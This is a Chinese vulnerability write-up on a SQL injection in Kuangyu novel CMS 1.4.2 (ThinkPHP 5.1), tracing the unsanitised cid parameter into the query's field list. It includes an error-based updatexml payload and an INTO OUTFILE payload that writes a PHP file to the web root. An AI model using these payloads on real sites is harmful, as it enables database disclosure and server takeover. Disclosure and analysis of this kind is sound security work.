前言

论坛有位老哥发了某个基于TP5框架开发的一个小说网站的注入漏洞,

拿到源码分析一下

环境搭建

CMS版本:1.4.2

官网地址:

狂雨小说cms - 狂雨小说cms - Powered by HYBBS (kyxscms.com)

Payload

报错:

http://127.0.0.1/?s=api/news/category&cid=updatexml(1,concat(0x7e,user(),0x7e),1)%20--+-

getshell:

// 需要有导出文件权限并且知道绝对路径
http://127.0.0.1/?s=api/news/category&cid='<?php phpinfo()?>' into outfile '/var/wzww/html/test.php'

漏洞分析

该cms基于ThinkPHP V5.1.33 LTS开发

漏洞触发点在 \application\api\controller\News.php

category方法获取了三个参数,三个参数可控,重点关注$cid

	public function category($cid=false,$type=1,$filter=false){
		$category=model('api/api')->category($cid,$type,$filter);
		return json(["code"=>1,"data"=>$category]);
	}

跟进 category($cid,$type,$filter) 方法

这里主要关注get_nav方法的第五个参数,Request::param('cid'),获取了我们传入的$cid参数,

get_nav 第一个参数和第五个参数是一样的,但是只有第五个参数能造成注入

get_nav函数形参只有五个,但是这里传入了六个参数,这里不会报错,多余的参数不做处理

感觉这里像是故意留的后门。

    public function category($cid,$type,$filter){
        $api=model('common/api');
        $api->api_url=true;
        $category=$api->get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type');
        foreach ($category as $key => $value) {
            $class[$key]=$value;
            if($value['branch']==1){
                $class[$key]['subor']=$this->category($value['id'],$type,$filter);
            }
        }
        return $class;
    }

跟进get_nav($cid,$type,$filter,false,Request::param('cid'),'id,title,pid,icon,type')方法

这里的 $category$field 值是一样的,都是我们传入的 cid 的值, 这里也没进行任何过滤操作,

where() 函数 采用了pdo预处理,而field()函数并没有,所以造成了注入

	public function get_nav($category,$type,$limit,$cid,$field=true){
		$map = ['status' => 1,'pid' => $category];
		if($type!==false){
			$map['type']=$type;
		}
        $data=Db::name('category')->field($field)->where($map)->limit($limit)->order('sort')->select();
        ......
    }

跟进field($field)方法,这里处理的是 知道查询的字段,并没有进行结构化处理,

如果$field为字符串,并且有[]<'"( 字符时,

调用fieldRaw()方法,将其变成一个查询表达式,并返回,并未进行过滤处理

    /**
     * 指定查询字段 支持字段排除和指定数据表
     * @access public
     * @param  mixed   $field
     * @param  boolean $except    是否排除
     * @param  string  $tableName 数据表名
     * @param  string  $prefix    字段前缀
     * @param  string  $alias     别名前缀
     * @return $this
     */
    public function field($field, $except = false, $tableName = '', $prefix = '', $alias = '')
    {
        if (empty($field)) {
            return $this;
        } elseif ($field instanceof Expression) {
            $this->options['field'][] = $field;
            return $this;
        }

        if (is_string($field)) {
            if (preg_match('/[\<\'\"\(]/', $field)) {
                return $this->fieldRaw($field);
            }

            $field = array_map('trim', explode(',', $field));
        }

        if (true === $field) {
            // 获取全部字段
            $fields = $this->getTableFields($tableName);
            $field  = $fields ?: ['*'];
        } elseif ($except) {
            // 字段排除
            $fields = $this->getTableFields($tableName);
            $field  = $fields ? array_diff($fields, $field) : $field;
        }

        if ($tableName) {
            // 添加统一的前缀
            $prefix = $prefix ?: $tableName;
            foreach ($field as $key => &$val) {
                if (is_numeric($key) && $alias) {
                    $field[$prefix . '.' . $val] = $alias . $val;
                    unset($field[$key]);
                } elseif (is_numeric($key)) {
                    $val = $prefix . '.' . $val;
                }
            }
        }

        if (isset($this->options['field'])) {
            $field = array_merge((array) $this->options['field'], $field);
        }

        $this->options['field'] = array_unique($field);

        return $this;
    }

然后直接跟进 select() 方法,\thinkphp\library\think\db\Connection.php

   /**
     * 查找记录
     * @access public
     * @param Query $query 查询对象
     * @return array|\PDOStatement|string
     * @throws DbException
     * @throws ModelNotFoundException
     * @throws DataNotFoundException
     */
    public function select(Query $query)
    {
        // 分析查询表达式
        $options = $query->getOptions();

        if (empty($options['fetch_sql']) && !empty($options['cache'])) {
            $resultSet = $this->getCacheData($query, $options['cache'], null, $key);

            if (false !== $resultSet) {
                return $resultSet;
            }
        }

        // 生成查询SQL
        $sql = $this->builder->select($query);
    	......
    }

跟进生成查询sql $this->builder->select() 方法

\thinkphp\library\think\db\Builder.php

    public function select(Query $query)
    {
         $options = $query->getOptions();

        return str_replace(
            ['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
            [
                $this->parseTable($query, $options['table']),
                $this->parseDistinct($query, $options['distinct']),
                $this->parseField($query, $options['field']),
                $this->parseJoin($query, $options['join']),
                $this->parseWhere($query, $options['where']),
                $this->parseGroup($query, $options['group']),
                $this->parseHaving($query, $options['having']),
                $this->parseOrder($query, $options['order']),
                $this->parseLimit($query, $options['limit']),
                $this->parseUnion($query, $options['union']),
                $this->parseLock($query, $options['lock']),
                $this->parseComment($query, $options['comment']),
                $this->parseForce($query, $options['force']),
            ],
            $this->selectSql);
    }

跟进 parseField()方法, 并未对$fields 参数进行任何过滤,也没进行参数绑定结构化查询处理,

直接替换在了 select 语句后面 所以造成了注入

    protected function parseField(Query $query, $fields)
    {
        if ('*' == $fields || empty($fields)) {
            $fieldsStr = '*';
        } elseif (is_array($fields)) {
            // 支持 'field1'=>'field2' 这样的字段别名定义
            $array = [];

            foreach ($fields as $key => $field) {
                if (!is_numeric($key)) {
                    $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
                } else {
                    $array[] = $this->parseKey($query, $field);
                }
            }

            $fieldsStr = implode(',', $array);
        }

        return $fieldsStr;
    }

参考文章

某小说cms某处sql注入漏洞